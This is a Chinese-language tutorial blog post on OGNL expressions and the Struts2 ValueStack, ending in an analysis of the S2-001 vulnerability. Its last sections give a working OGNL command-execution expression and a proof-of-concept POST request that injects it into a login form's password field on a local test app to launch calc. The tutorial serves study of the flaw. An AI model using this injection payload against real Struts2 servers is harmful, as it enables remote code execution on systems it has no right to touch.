Struts2這個框架每年都會出現那麼幾個漏洞,不得不引起鬥哥學習的興趣。本期將從Struts2的一個罪魁禍首ONGL表達式開始介紹到S2-001漏洞的分析。Struts2系列的漏洞涉及Java Web等相關內容,後續會持續更新漏洞分析以及相關知識背景介紹等。
0x00 什麼是ognl
OGNL全稱是對象視圖導航語言(Object-Graph Navigation Language),它是一種功能強大的表達式語言,通過它簡單一致的表達式語法,可以存取對象的任意屬性,調用對象的方法,遍歷整個對象的結構圖,實現字段類型轉化等功能。它使用相同的表達式去存取對象的屬性。
0x01 ognl的核心OgnlContext對象
OgnlContext對象是Ognl的核心,需要一個上下文環境。又分爲兩個部分,分別是Root對象和Context對象,Root對象所在的環境就是OGNL的上下文環境(Context)。上下文環境規定了OGNL的操作“在哪裏進行”。上下文環境Context是一個MAP類型的對象,在表達式中訪問Context的對象,需要使用#號加上對象名稱,即#對象名稱的形式。
比如我們有一個User對象: User.Java
public class User { private String name; private Integer age; public User() { super(); } public User(String name, Integer age) { super(); this.name = name; this.age = age; } public String getName() { return name; } public void setName(String name) { this.name = name; } public Integer getAge() { return age; } public void setAge(Integer age) { this.age = age; } }
那針對User對象,Root的方式:
User rootUser = new User("tom",18);
Context的方式:
Map<String,User> context = new HashMap<String,User>(); context.put("user1",new User("jack",20)); context.put("user2",new User("rose",22));
創建OgnlContext對象:
OgnlContext oc = new OgnlContext(); oc.setRoot(rootUser); oc.setValues(context);
取出root中User對象的name和age屬性。這裏可以使用getValue這個方法,其中第一個參數是就是OGNL表達式。
String name = (String) Ognl.getValue("name",oc,oc.getRoot()); Integer age = (Integer) Ognl.getValue("age",oc,oc.getRoot()); System.out.println(age); System.out.println(name);
取出Context對象中的屬性值,這裏要加上#符號。
String name1 = (String) Ognl.getValue("#user1.name",oc,oc.getRoot()); String name2 = (String) Ognl.getValue("#user2.name",oc,oc.getRoot()); Integer age1 = (Integer) Ognl.getValue("#user1.age",oc,oc.getRoot()); Integer age2 = (Integer) Ognl.getValue("#user2.age",oc,oc.getRoot()); System.out.println(name1); System.out.println(name2); System.out.println(age1); System.out.println(age2);
爲root中的User對象的name屬性賦值。
Ognl.getValue("name='jerry'",oc,oc.getRoot()); String name = (String) Ognl.getValue("name",oc,oc.getRoot()); System.out.println(name);
爲Context中的user1對象的name屬性賦值。
Ognl.getValue("#user1.name='reborn'",oc,oc.getRoot()); String name1 = (String) Ognl.getValue("#user1.name",oc,oc.getRoot()); System.out.println(name1);
getValue用來提取OGNL表達式運行後的值。下面是getValue可以傳遞的值:
public static java.lang.Object getValue(java.lang.String expression, java.util.Map context, java.lang.Object root, java.lang.Class resultType) throws OgnlException
●java.lang.String expression 表達式
●java.util.Map context 上下文
●java.lang.Object root 表達式根對象
●java.lang.Class resultType 被轉換的結果對象的類型
OGNL 的 API 設計得是很簡單的,context 提供上下文,爲變量和表達式的求值過程來提供命名空間,存儲變量 等,通過 root 來指定對象圖遍歷的初始變量,使用 expression 來告訴 Ognl 如何完成運算。
演示ognl如何訪問對象的方法:
1.創建一個 OgnlContext對象,context
2.創建一個 obj 對象 obj。 obj 的值等於 Ognl.getValue的值。
3.Ognl.getValue有2個參數。 "'helloworld'.length()"爲表達式語句。
import ognl.Ognl; import ognl.OgnlContext; import ognl.OgnlException; public class Ognltest { public static void main(String[] args) throws OgnlException { OgnlContext context = new OgnlContext(); Object obj = Ognl.getValue("'helloworld'.length()",context); System.out.println(obj); } }
●ognl可以支持對象方法調用如:
objName.methodName()
●ognl可以支持類的靜態方法調用和值訪問,表達式格式爲:@[類全名(包括包路徑)@[方法名|值名]],例如:調用java.lang.String類的format方法。
@java.lang.String@format('foo %s','bar')
0x03 ognl與Struts2的結合
1.ValueStack
Ognl表達式可以單獨使用,它也被一些成熟的框架使用,如Struts2。在Struts2 中有個值棧對象即ValueStack。而說得通俗些,這個值棧就是OgnlContext。
而Ognl原有的root部分對應Struts2的棧,Context對應Struts2的ActionContext。
2.ValueStack特點
ValueStack貫穿整個Action的生命週期(每個Action類的對象實例都擁有一個ValueStack對象),即用戶每次訪問struts的action,都會創建一個Action對象、值棧對象、ActionContext對象,然後把Action對象放入值棧中;最後再把值棧對象放入request中,傳入jsp頁面。相當於一個數據的中轉站,在其中保存當前Action對象和其他相關對象。Struts2框架把ValueStack對象保存在名爲struts。valueStack的request請求屬性中。
0x04 JSP頁面中獲取ValueStack數據
在jsp頁面中,對不同ValueStack中的不同類型取值方法不同, 如果是根元素取值,直接寫表達式; 非根元素(request,Session,application,att,parmeters)必須用#號,例#request.cn。
<%@taglib prefix="s" uri="/struts-tags" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>jsp頁面取值</title> </head> <body> index頁面 <%--頁面,必須要拿到ValueStack--%> <%--struts的調試標籤,可以觀測值棧數據--%> <s:debug/> <br/>1.取根元素的值<br/> <s:property value="user.id"/> <s:property value="user.name"/> <br/>2.取非根元素<br/> <s:property value="#request.cn"/> <s:property value="#request.request_data"/> <s:property value="#session.session_data"/> <s:property value="#application.application_data"/><br/> <%--attr按順序自動找request/session/application,找到後立刻返回--%> <s:property value="#attr.application_data"/> <%--獲取請求參數數據--%> <s:property value="#parameters.userName"/> </body> </html>
0x05 Struts標籤
Ognl表達式取值。使用方式是:
1.引入<%@taglib prefix="s" uri="/struts-tags" %>
2.使用<s:property value="user.name"/>標籤獲取取值,取值的時候要注意根元素(全局變量)不用#號,其他的都用#號。
0x06 ognl的命令執行
Java的命令執行可以藉助java.lang.Runtime類的getRuntime方法。 如下:Run.java
import java.io.IOException; import static java.lang.Runtime.getRuntime; public class Run { public static void main(String[] args) throws IOException { Process s = getRuntime().exec("calc"); } }
將上述代碼按照@[類全名(包括包路徑)@[方法名|值名]]書寫表達式語句:
@java.lang.Runtime@getRuntime().exec('calc')
0x07 s2-001漏洞分析
該漏洞其實是因爲用戶提交表單數據並且驗證失敗時,後端會將用戶之前提交的參數值使用 OGNL 表達式 %{value} 進行解析,然後重新填充到對應的表單數據中。
這裏的表單是用JSP寫的,需要對JSP有所瞭解,還需要去了解一下Struts2標籤庫常用的幾個標籤,這裏有個參考鏈接:Struts2標籤庫常用標籤。
例如註冊或登錄頁面,提交失敗後端一般會默認返回之前提交的數據,由於後端使用 %{value} 對提交的數據執行了一次 OGNL 表達式解析,這裏重新填充動作是要有的,沒有則不會觸發漏洞。
LoginAction.class
package com.demo.action; import com.opensymphony.xwork2.ActionSupport; public class LoginAction extends ActionSupport { private String username = null; private String password = null; public LoginAction() { } public String getUsername() { return this.username; } public String getPassword() { return this.password; } public void setUsername(String username) { this.username = username; } public void setPassword(String password) { this.password = password; } public String execute() throws Exception { if (!this.username.isEmpty() && !this.password.isEmpty()) { return this.username.equalsIgnoreCase("admin") && this.password.equals("admin") ? "success" : "error"; } else { return "error"; } } }
這段代碼的意思是,接收發往/login.action的用戶名和密碼,如果兩者不爲admin,則返回error。
而查看struts.xml文件,發現返回error則跳轉到index.jsp文件。
<package name="S2-001" extends="struts-default"> <action name="login" class="com.demo.action.LoginAction"> <result name="success">/welcome.jsp</result> <result name="error">/index.jsp</result> </action> </package>
而index.jsp有表單如下:
<s:form action="login"> <s:textfield name="username" label="username" /> <s:textfield name="password" label="password" /> <s:submit></s:submit> </s:form>
最終我們構造請求如下,觸發漏洞。
[post] http://127.0.0.1:8080/login.action [data] username=xxx&password=%25{%40java.lang.Runtime%40getRuntime().exec("calc")}